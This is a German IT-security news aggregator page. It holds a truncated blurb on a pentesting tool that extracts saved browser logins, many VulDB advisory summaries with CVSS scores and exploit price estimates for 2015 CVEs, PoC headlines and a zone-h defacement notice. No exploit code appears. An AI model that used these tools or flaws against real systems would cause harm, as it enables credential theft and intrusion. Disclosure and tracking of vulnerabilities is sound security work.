1. Startseite


ArabicEnglishFrenchGermanGreekItalianJapaneseKoreanPersianPolishPortugueseRussianSpanishTurkishVietnamese

Webseiten News

News vom: 26.12.2018 um 06:20 Uhr

 

ccompliant project that can retrieve saved logins from Google Chrome, Firefox, Internet Explorer and Microsoft Edge. In the future, this project will be expanded upon to retrieve Cookies and History items from these browsers.
Standing on the Shoulders of Giants
This project uses the work of @plainprogrammer and his work on a compliant .NET 2.0 CLR compliant SQLite parser, which can be found here. In addition, @gourk created a wonderful ASN parser and cryptography helpers for decrypting and parsing the FireFox login files. It uses a revised version of his work (found here) to parse these logins out. Without their work this project would not have come together nearly as quickly as it did.
 
Weitere News Beiträge ansehen: Pentesting (2)

TSecurity Sitemap

Startseite und alle Kategorien


Suchen

News RSS Quellen: 339x
News Kategorien unterhalb von Startseite und alle Kategorien: 27x
News RSS Feeds dieser Startseite und alle Kategorien Kategorie: RSS Feed Alle Kategorien
Benutze Feedly zum Abonieren.Folge uns auf feedly
Download RSS Feed App für Windows 10 Store (Leider gibt es nicht mehr viele Extensions mit welchen Sie RSS-Feeds in einer Software abonieren können. Der Browser Support für RSS-Feeds wurde eingestellt (Firefox,Chrome).

Eigene IT Security Webseite / Blog / Quelle hinzufügen

Seitennavigation

Seite 15872 von 16.645 Seiten (Bei Beitrag 555485 - 555520)
582.557x Beiträge in dieser Kategorie

Auf Seite 15871 zurück | Nächste 15873 Seite | Letzte Seite

[ 15867 ] [ 15868 ] [ 15869 ] [ 15870 ] [ 15871 ] [15872] [ 15873 ] [ 15874 ] [ 15875 ] [ 15876 ] [ 15877 ] [ 15878 ] [ 15879 ] [ 15880 ] [ 15881 ] [ 15882 ]

32C3: Hacker-Kongress startet in Hamburg

Zur Kategorie wechselnIT Security Nachrichten vom | Quelle: heise.de Direktlink direkt öffnen

Bei der 32. Auflage des Chaos Communication Congress (32C3) geht es vier Tage lang um Internet-Sicherheit, Freiheitsrechte im Netz und digitale Lebensweisen.
News Bewertung

Weiterlesen Weiterlesen

Durchblick im Kabel-Dschungel

Zur Kategorie wechselnWindows Tipps vom | Quelle: pcwelt.de Direktlink direkt öffnen

VGA, DVI, HDMI, Bahnhof? Wie sieht welches Kabel eigentlich aus und wofür ist es gut? Wir machen Sie zum Kabelexperten.
News Bewertung

Weiterlesen Weiterlesen

Wenn das mal gut geht: Schlüsseltausch in der Rootzone könnte heikel werden

Zur Kategorie wechselnNachrichten vom | Quelle: heise.de Direktlink direkt öffnen

Am Nutzen der kryptografischen Absicherung des weltweiten Domain Name System gibt es einige Jahre nach deren Einführung kaum noch Zweifel. Die Fortführung könnte freilich holperig werden, weil in der Spezifikation schwerwiegende Lücken klaffen.









News Bewertung

Weiterlesen Weiterlesen

Wenn das mal gut geht: Schlüsseltausch in der Rootzone könnte heikel werden

Zur Kategorie wechselnIT Security Nachrichten vom | Quelle: heise.de Direktlink direkt öffnen

Am Nutzen der kryptografischen Absicherung des weltweiten Domain Name System gibt es einige Jahre nach deren Einführung kaum noch Zweifel. Die Fortführung könnte freilich holperig werden, weil in der Spezifikation schwerwiegende Lücken klaffen.
News Bewertung

Weiterlesen Weiterlesen

Diese Excel-Makros erleichtern Ihre Arbeit!

Zur Kategorie wechselnWindows Tipps vom | Quelle: pcwelt.de Direktlink direkt öffnen

Power-Tipp für Excel-Anwender: Wir zeigen Ihnen, wie Sie die fünf häufigsten Aufgaben in Excel mit cleveren Makros meistern.
News Bewertung

Weiterlesen Weiterlesen

Chaos Computer Club: Hacker-Kongress in Zeiten digitaler Verunsicherung

Zur Kategorie wechselnNachrichten vom | Quelle: computerbase.de Direktlink direkt öffnen

Die Zeit zwischen den Jahren ist angebrochen und das heißt: Heute eröffnet der Jahreskongress des Chaos Computer Club (CCC) seine Pforten. Thematischer Schwerpunkt sind die Bereiche IT-Sicherheit und Netzpolitik, in einem der Vorträge berichtet allerdings auch ein AMD-Mitarbeiter über die Probleme bei der CPU-Entwicklung.


News Bewertung

Weiterlesen Weiterlesen

BlackBerry Priv im Test: Eine neue Hoffnung mit Android und Tastatur

Zur Kategorie wechselnNachrichten vom | Quelle: computerbase.de Direktlink direkt öffnen

Das BlackBerry Priv ist der neue Hoffnungsträger des kriselnden Herstellers. Der Android-Slider bietet eine Volltastatur und soll durch hohe Sicherheit überzeugen. Erstmals setzt BlackBerry auf ein Betriebssystem aus fremdem Haus. Wie gut das gelingt, klärt der ComputerBase-Test.


News Bewertung

Weiterlesen Weiterlesen

Sicherer Computer: Mit Forensik PC-Einbrecher erkennen und aussperren

Zur Kategorie wechselnIT Security Nachrichten vom | Quelle: computerwoche.de Direktlink direkt öffnen

Mit den richtigen Tools und Bordmittelwerkzeugen können Sie feststellen, ob Nutzer unberechtigt auf Ihren PC zugreifen. Zudem können Angriffsversuche vom Computer automatisch erkannt und verhindert werden.
News Bewertung

Weiterlesen Weiterlesen

PHP Melody CMS 2.3 SQL Injection

Zur Kategorie wechselnPoC vom | Quelle: packetstormsecurity.com Direktlink direkt öffnen

PHP Melody CMS version 2.3 suffers from a remote SQL injection vulnerability.
News Bewertung

Weiterlesen Weiterlesen

http://portalvuc.habitatbogota.gov.co

Zur Kategorie wechselnHacking vom | Quelle: zone-h.org Direktlink direkt öffnen

http://portalvuc.habitatbogota.gov.co notified by oroboruo
News Bewertung

Weiterlesen Weiterlesen

RSI Video Technologies Videofied Device Frontel Protocol Handler Spoofing

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79915
Betroffen: RSI Video Technologies Videofied Device
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 64.7% komplett

Beschreibung

In RSI Video Technologies Videofied Device – die betroffene Version ist nicht bekannt – wurde eine Schwachstelle gefunden. Sie wurde als kritisch eingestuft. Es geht um eine unbekannte Funktion der Komponente Frontel Protocol Handler. Dank der Manipulation mit einer unbekannten Eingabe kann eine Spoofing-Schwachstelle ausgenutzt werden. Die Auswirkungen sind bekannt für Vertraulichkeit und Integrität. Die Zusammenfassung von CVE lautet:

The Frontel protocol before 3 on RSI Video Technologies Videofied devices does not use integrity protection, which makes it easier for man-in-the-middle attackers to (1) initiate a false alarm or (2) deactivate an alarm by modifying the client-server data stream.

Die Schwachstelle wurde am 27.12.2015 öffentlich gemacht. Die Verwundbarkeit wird als CVE-2015-8254 geführt. Der Angriff kann über das Netzwerk angegangen werden. Technische Details sind nicht bekannt und ein Exploit zur Schwachstelle ist ebenfalls nicht vorhanden.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 4.9 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:N) [?]
Temp Score: 4.9 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: Spoofing
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $1k-$2k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-8254 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Let's PHP! p++BBS bis 4.9 Cross Site Scripting [CVE-2015-7783]

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79912
Betroffen: Let’s PHP! p++BBS bis 4.9
Veröffentlicht: 27.12.2015
Risiko: problematisch

Erstellt: 28.12.2015
Eintrag: 65.7% komplett

Beschreibung

In Let’s PHP! p++BBS bis 4.9 wurde eine Schwachstelle entdeckt. Sie wurde als problematisch eingestuft. Betroffen ist eine unbekannte Funktion. Durch Manipulieren mit einer unbekannten Eingabe kann eine Cross Site Scripting-Schwachstelle ausgenutzt werden. Das hat Auswirkungen auf die Integrität. CVE fasst zusammen:

Cross-site scripting (XSS) vulnerability in Let’s PHP! p++BBS before 4.10 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.

Die Schwachstelle wurde am 27.12.2015 an die Öffentlichkeit getragen. Eine eindeutige Identifikation der Schwachstelle wird mit CVE-2015-7783 vorgenommen. Sie gilt als leicht auszunutzen. Die Umsetzung des Angriffs kann dabei über das Netzwerk erfolgen. Es sind weder technische Details noch ein Exploit zur Schwachstelle bekannt.

Ein Upgrade auf die Version 4.10 vermag dieses Problem zu beheben.

CVSS

Base Score: 4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N) [?]
Temp Score: 3.5 (CVSS2#E:ND/RL:OF/RC:ND) [?]

CPE

Exploiting

Klasse: Cross Site Scripting
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $0-$1k (Heute)

Gegenmassnahmen

Empfehlung: Upgrade
Status: Offizieller Fix
0-Day Time: 0 Tage seit gefunden

Upgrade: p++BBS 4.10

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-7783 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Epiphany Cardio Server 3.3/4.0/4.1 Login Page LDAP injection erweiterte Rechte

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79910
Betroffen: Epiphany Cardio Server 3.3/4.0/4.1
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 65.2% komplett

Beschreibung

Eine kritische Schwachstelle wurde in Epiphany Cardio Server 3.3/4.0/4.1 ausgemacht. Davon betroffen ist eine unbekannte Funktion der Komponente Login Page. Mittels Manipulieren mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle (LDAP injection) ausgenutzt werden. Auswirkungen sind zu beobachten für Vertraulichkeit, Integrität und Verfügbarkeit. CVE fasst zusammen:

The login page in Epiphany Cardio Server 3.3, 4.0, and 4.1 mishandles authentication requests, which allows remote attackers to conduct LDAP injection attacks, and consequently bypass intended access restrictions, via a crafted URL.

Die Schwachstelle wurde am 27.12.2015 veröffentlicht. Die Identifikation der Schwachstelle findet als CVE-2015-6538 statt. Der Angriff kann über das Netzwerk passieren. Nicht vorhanden sind sowohl technische Details als auch ein Exploit zur Schwachstelle.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P) [?]
Temp Score: 6.0 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: Erweiterte Rechte
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $2k-$5k (0-day) / $2k-$5k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-6538 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Epiphany Cardio Server 3.3 URL Handler SQL Injection

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79909
Betroffen: Epiphany Cardio Server 3.3
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 64.7% komplett

Beschreibung

In Epiphany Cardio Server 3.3 wurde eine kritische Schwachstelle ausgemacht. Hierbei betrifft es eine unbekannte Funktion der Komponente URL Handler. Mittels dem Manipulieren mit einer unbekannten Eingabe kann eine SQL Injection-Schwachstelle ausgenutzt werden. Auswirkungen hat dies auf Vertraulichkeit, Integrität und Verfügbarkeit. Die Zusammenfassung von CVE lautet:

SQL injection vulnerability in the login page in Epiphany Cardio Server 3.3 allows remote attackers to execute arbitrary SQL commands via a crafted URL.

Die Schwachstelle wurde am 27.12.2015 öffentlich gemacht. Die Verwundbarkeit wird als CVE-2015-6537 geführt. Der Angriff kann über das Netzwerk angegangen werden. Technische Details oder ein Exploit zur Schwachstelle sind nicht verfügbar.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P) [?]
Temp Score: 6.0 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: SQL Injection
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $2k-$5k (0-day) / $2k-$5k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-6537 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Ipswitch Whatsup Gold bis 16.3 WrFreeFormText.asp UniqueID/Find Device SQL Injection

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79906
Betroffen: Ipswitch Whatsup Gold bis 16.3
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 66.8% komplett

Beschreibung

In Ipswitch Whatsup Gold bis 16.3 wurde eine kritische Schwachstelle gefunden. Das betrifft eine unbekannte Funktion der Datei WrFreeFormText.asp. Mit der Manipulation des Arguments UniqueID/Find Device mit einer unbekannten Eingabe kann eine SQL Injection-Schwachstelle ausgenutzt werden. Dies wirkt sich aus auf Vertraulichkeit, Integrität und Verfügbarkeit. CVE fasst zusammen:

Multiple SQL injection vulnerabilities in IPSwitch WhatsUp Gold before 16.4 allow remote attackers to execute arbitrary SQL commands via (1) the UniqueID (aka sUniqueID) parameter to WrFreeFormText.asp in the Reports component or (2) the Find Device parameter.

Die Schwachstelle wurde am 27.12.2015 an die Öffentlichkeit getragen. Eine eindeutige Identifikation der Schwachstelle wird mit CVE-2015-6004 vorgenommen. Die Umsetzung des Angriffs kann dabei über das Netzwerk erfolgen. Technische Details sind bekannt, ein verfügbarer Exploit hingegen nicht.

Ein Upgrade auf die Version 16.4 vermag dieses Problem zu beheben.

CVSS

Base Score: 6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P) [?]
Temp Score: 5.2 (CVSS2#E:ND/RL:OF/RC:ND) [?]

CPE

Exploiting

Klasse: SQL Injection
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $2k-$5k (0-day) / $0-$1k (Heute)

Gegenmassnahmen

Empfehlung: Upgrade
Status: Offizieller Fix
0-Day Time: 0 Tage seit gefunden

Upgrade: Whatsup Gold 16.4

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-6004 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Ipswitch Whatsup Gold bis 16.3 Cross Site Scripting [CVE-2015-6005]

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79907
Betroffen: Ipswitch Whatsup Gold bis 16.3
Veröffentlicht: 27.12.2015
Risiko: problematisch

Erstellt: 28.12.2015
Eintrag: 66.2% komplett

Beschreibung

Eine problematische Schwachstelle wurde in Ipswitch Whatsup Gold bis 16.3 gefunden. Dies betrifft eine unbekannte Funktion. Durch die Manipulation mit einer unbekannten Eingabe kann eine Cross Site Scripting-Schwachstelle ausgenutzt werden. Die Auswirkungen sind bekannt für die Integrität. Die Zusammenfassung von CVE lautet:

Multiple cross-site scripting (XSS) vulnerabilities in IPSwitch WhatsUp Gold before 16.4 allow remote attackers to inject arbitrary web script or HTML via (1) an SNMP OID object, (2) an SNMP trap message, (3) the View Names field, (4) the Group Names field, (5) the Flow Monitor Credentials field, (6) the Flow Monitor Threshold Name field, (7) the Task Library Name field, (8) the Task Library Description field, (9) the Policy Library Name field, (10) the Policy Library Description field, (11) the Template Library Name field, (12) the Template Library Description field, (13) the System Script Library Name field, (14) the System Script Library Description field, or (15) the CLI Settings Library Description field.

Die Schwachstelle wurde am 27.12.2015 herausgegeben. Die Verwundbarkeit wird mit der eindeutigen Identifikation CVE-2015-6005 gehandelt. Sie ist leicht ausnutzbar. Umgesetzt werden kann der Angriff über das Netzwerk. Technische Details sind nicht bekannt und ein Exploit zur Schwachstelle ist ebenfalls nicht vorhanden.

Ein Aktualisieren auf die Version 16.4 vermag dieses Problem zu lösen.

CVSS

Base Score: 4.0 (CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N) [?]
Temp Score: 3.5 (CVSS2#E:ND/RL:OF/RC:ND) [?]

CPE

Exploiting

Klasse: Cross Site Scripting
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $0-$1k (Heute)

Gegenmassnahmen

Empfehlung: Upgrade
Status: Offizieller Fix
0-Day Time: 0 Tage seit gefunden

Upgrade: Whatsup Gold 16.4

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-6005 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Talis bis 1.6 ftp IP Address Information Disclosure

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79911
Betroffen: Talis bis 1.6
Veröffentlicht: 27.12.2015
Risiko: problematisch

Erstellt: 28.12.2015
Eintrag: 66.8% komplett

Beschreibung

Es wurde eine Schwachstelle in Talis bis 1.6 entdeckt. Sie wurde als problematisch eingestuft. Hiervon betroffen ist eine unbekannte Funktion der Komponente ftp. Durch das Manipulieren mit einer unbekannten Eingabe kann eine Information Disclosure-Schwachstelle (IP Address) ausgenutzt werden. Auswirken tut sich dies auf die Vertraulichkeit. Die Zusammenfassung von CVE lautet:

Tails before 1.7 includes the wget program but does not prevent automatic fallback from passive FTP to active FTP, which allows remote FTP servers to discover the Tor client IP address by reading a (1) PORT or (2) EPRT command. NOTE: within wget itself, the automatic fallback is not considered a vulnerability by CVE.

Die Schwachstelle wurde am 27.12.2015 publiziert. Die Identifikation der Schwachstelle wird mit CVE-2015-7665 vorgenommen. Der Angriff kann über das Netzwerk erfolgen. Technische Details sind nicht bekannt und ein Exploit zur Schwachstelle ist ebenfalls nicht vorhanden.

Ein Aktualisieren auf die Version 1.7 vermag dieses Problem zu lösen.

CVSS

Base Score: 3.5 (CVSS2#AV:N/AC:M/Au:S/C:P/I:N/A:N) [?]
Temp Score: 3.0 (CVSS2#E:ND/RL:OF/RC:ND) [?]

CPE

Exploiting

Klasse: Information Disclosure
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $0-$1k (Heute)

Gegenmassnahmen

Empfehlung: Upgrade
Status: Offizieller Fix
0-Day Time: 0 Tage seit gefunden

Upgrade: Talis 1.7

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-7665 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Netgear WNR1000v3 1.0.2.68 DNS Query Handler Port Spoofing

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79917
Betroffen: Netgear WNR1000v3 1.0.2.68
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 65.7% komplett

Beschreibung

Es wurde eine Schwachstelle in Netgear WNR1000v3 1.0.2.68 ausgemacht. Sie wurde als kritisch eingestuft. Es geht dabei um eine unbekannte Funktion der Komponente DNS Query Handler. Mit der Manipulation mit einer unbekannten Eingabe kann eine Spoofing-Schwachstelle (Port) ausgenutzt werden. Auswirkungen hat dies auf Vertraulichkeit und Integrität. Die Zusammenfassung von CVE lautet:

NETGEAR WNR1000v3 devices with firmware 1.0.2.68 use the same source port number for every DNS query, which makes it easier for remote attackers to spoof responses by selecting that number for the destination port.

Die Schwachstelle wurde am 27.12.2015 publiziert. Die Identifikation der Schwachstelle wird mit CVE-2015-8263 vorgenommen. Der Angriff kann über das Netzwerk erfolgen. Zur Ausnutzung ist keine spezifische Authentisierung erforderlich. Technische Details oder ein Exploit zur Schwachstelle sind nicht verfügbar.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N) [?]
Temp Score: 5.8 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: Spoofing
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $1k-$2k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-8263 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

RSI Video Technologies Videofied Device Frontel Protocol Handler Hardcoded Key schwache Verschlüsselung

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79913
Betroffen: RSI Video Technologies Videofied Device
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 65.2% komplett

Beschreibung

Eine Schwachstelle wurde in RSI Video Technologies Videofied Device – eine genaue Versionsangabe steht aus – entdeckt. Sie wurde als kritisch eingestuft. Betroffen davon ist eine unbekannte Funktion der Komponente Frontel Protocol Handler. Durch das Beeinflussen mit einer unbekannten Eingabe kann eine schwache Verschlüsselung-Schwachstelle (Hardcoded Key) ausgenutzt werden. Dies hat Einfluss auf Vertraulichkeit, Integrität und Verfügbarkeit. Die Zusammenfassung von CVE lautet:

The Frontel protocol before 3 on RSI Video Technologies Videofied devices sends a cleartext serial number, which allows remote attackers to determine a hardcoded key by sniffing the network and performing a “jumbled up” calculation with this number.

Die Schwachstelle wurde am 27.12.2015 herausgegeben. Die Verwundbarkeit wird mit der eindeutigen Identifikation CVE-2015-8252 gehandelt. Umgesetzt werden kann der Angriff über das Netzwerk. Technische Details oder ein Exploit zur Schwachstelle sind nicht verfügbar.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 6.0 (CVSS2#AV:N/AC:M/Au:S/C:P/I:P/A:P) [?]
Temp Score: 6.0 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: Schwache Verschlüsselung
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $1k-$2k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-8252 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

Buffalo WZR-600DHP2 2.09/2.13/2.16 DNS Query Handler Spoofing

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79916
Betroffen: Buffalo WZR-600DHP2 2.09/2.13/2.16
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 65.2% komplett

Beschreibung

Eine Schwachstelle wurde in Buffalo WZR-600DHP2 2.09/2.13/2.16 gefunden. Sie wurde als kritisch eingestuft. Es geht hierbei um eine unbekannte Funktion der Komponente DNS Query Handler. Dank Manipulation mit einer unbekannten Eingabe kann eine Spoofing-Schwachstelle ausgenutzt werden. Mit Auswirkungen muss man rechnen für Vertraulichkeit und Integrität. CVE fasst zusammen:

Buffalo WZR-600DHP2 devices with firmware 2.09, 2.13, and 2.16 use an improper algorithm for selecting the ID value in the header of a DNS query, which makes it easier for remote attackers to spoof responses by predicting this value.

Die Schwachstelle wurde am 27.12.2015 veröffentlicht. Die Identifikation der Schwachstelle findet als CVE-2015-8262 statt. Der Angriff kann über das Netzwerk passieren. Das Ausnutzen erfordert keine spezifische Authentisierung. Es sind weder technische Details noch ein Exploit zur Schwachstelle bekannt.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N) [?]
Temp Score: 5.8 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: Spoofing
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $1k-$2k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-8262 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

RSI Video Technologies Videofied Device Frontel Protocol Handler Cleartext schwache Verschlüsselung

Zur Kategorie wechselnExploits vom | Quelle: scip.ch Direktlink direkt öffnen

Allgemein

scipID: 79914
Betroffen: RSI Video Technologies Videofied Device
Veröffentlicht: 27.12.2015
Risiko: kritisch

Erstellt: 28.12.2015
Eintrag: 65.2% komplett

Beschreibung

Es wurde eine Schwachstelle in RSI Video Technologies Videofied Device – die betroffene Version ist unbekannt – gefunden. Sie wurde als kritisch eingestuft. Betroffen hiervon ist eine unbekannte Funktion der Komponente Frontel Protocol Handler. Durch Beeinflussen mit einer unbekannten Eingabe kann eine schwache Verschlüsselung-Schwachstelle (Cleartext) ausgenutzt werden. Dies wirkt sich aus auf Vertraulichkeit, Integrität und Verfügbarkeit. CVE fasst zusammen:

The Frontel protocol before 3 on RSI Video Technologies Videofied devices sets up AES encryption but sends all traffic in cleartext, which allows remote attackers to obtain sensitive (1) message or (2) MJPEG video data by sniffing the network.

Die Schwachstelle wurde am 27.12.2015 publik gemacht. Die Verwundbarkeit wird unter CVE-2015-8253 geführt. Der Angriff kann über das Netzwerk erfolgen. Zur Ausnutzung ist keine spezifische Authentisierung erforderlich. Nicht vorhanden sind sowohl technische Details als auch ein Exploit zur Schwachstelle.

Es sind keine Informationen bezüglich Gegenmassnahmen bekannt. Der Einsatz eines alternativen Produkts bietet sich im Zweifelsfall an.

CVSS

Base Score: 6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P) [?]
Temp Score: 6.8 (CVSS2#E:ND/RL:ND/RC:ND) [?]

CPE

Exploiting

Klasse: Schwache Verschlüsselung
Lokal: Nein
Remote: Ja

Verfügbarkeit: Nein

Aktuelle Preisschätzung: $1k-$2k (0-day) / $1k-$2k (Heute)

Gegenmassnahmen

Empfehlung: keine Massnahme bekannt
0-Day Time: 0 Tage seit gefunden

Timeline

27.12.2015 | Advisory veröffentlicht
28.12.2015 | VulDB Eintrag erstellt
28.12.2015 | VulDB Eintrag aktualisiert

Quellen

CVE: CVE-2015-8253 (mitre.org) (nvd.nist.org) (cvedetails.com)


News Bewertung

Weiterlesen Weiterlesen

4W: Was war. Was wird. Vom Bezahlen und bezahlt werden.

Zur Kategorie wechselnNachrichten vom | Quelle: heise.de Direktlink direkt öffnen

Es gibt viele Möglichkeiten, mit wem man die ruhigen Tage verbringen könnte. Dumpfbacken, Brandstifter (ob geistig oder real) und wehleidige Kleingeister gehören nicht dazu, da wäre Hal Faber die Gesellschaft eines Waldmenschen lieber.









News Bewertung

Weiterlesen Weiterlesen

Intel Grafiktreiber 20.19.15.4352 (15.40.14)

Zur Kategorie wechselnDownloads vom | Quelle: computerbase.de Direktlink direkt öffnen

Diese Treiber sind für aktuelle Intel-CPUs und ältere Mainboards mit integrierter Grafik. Der Hersteller unterscheidet zwischen älteren Varianten und neuen Grafiklösungen, wie sie in den Prozessoren integriert sind.
News Bewertung

Weiterlesen Weiterlesen

SpeedyFox - Firefox und Co. schneller machen

Zur Kategorie wechselnDownloads vom | Quelle: rss.winfuture.de Direktlink direkt öffnen

Optimierung, optimieren, SpeedyFox SpeedyFox in der aktuellen Version 2.0.14 optimiert mit nur wenigen Klicks die Profildatenbank von Firefox, Thunderbird, Chrome und weiteren Programmen und lässt sie so wieder schneller starten. ... (Weiter lesen)









News Bewertung

Weiterlesen Weiterlesen

RW::Download 4.0.8 File Inclusion / SQL Injection

Zur Kategorie wechselnPoC vom | Quelle: packetstormsecurity.com Direktlink direkt öffnen

RW::Download version 4.0.8 suffers from remote and local file inclusion and remote SQL injection vulnerabilities.
News Bewertung

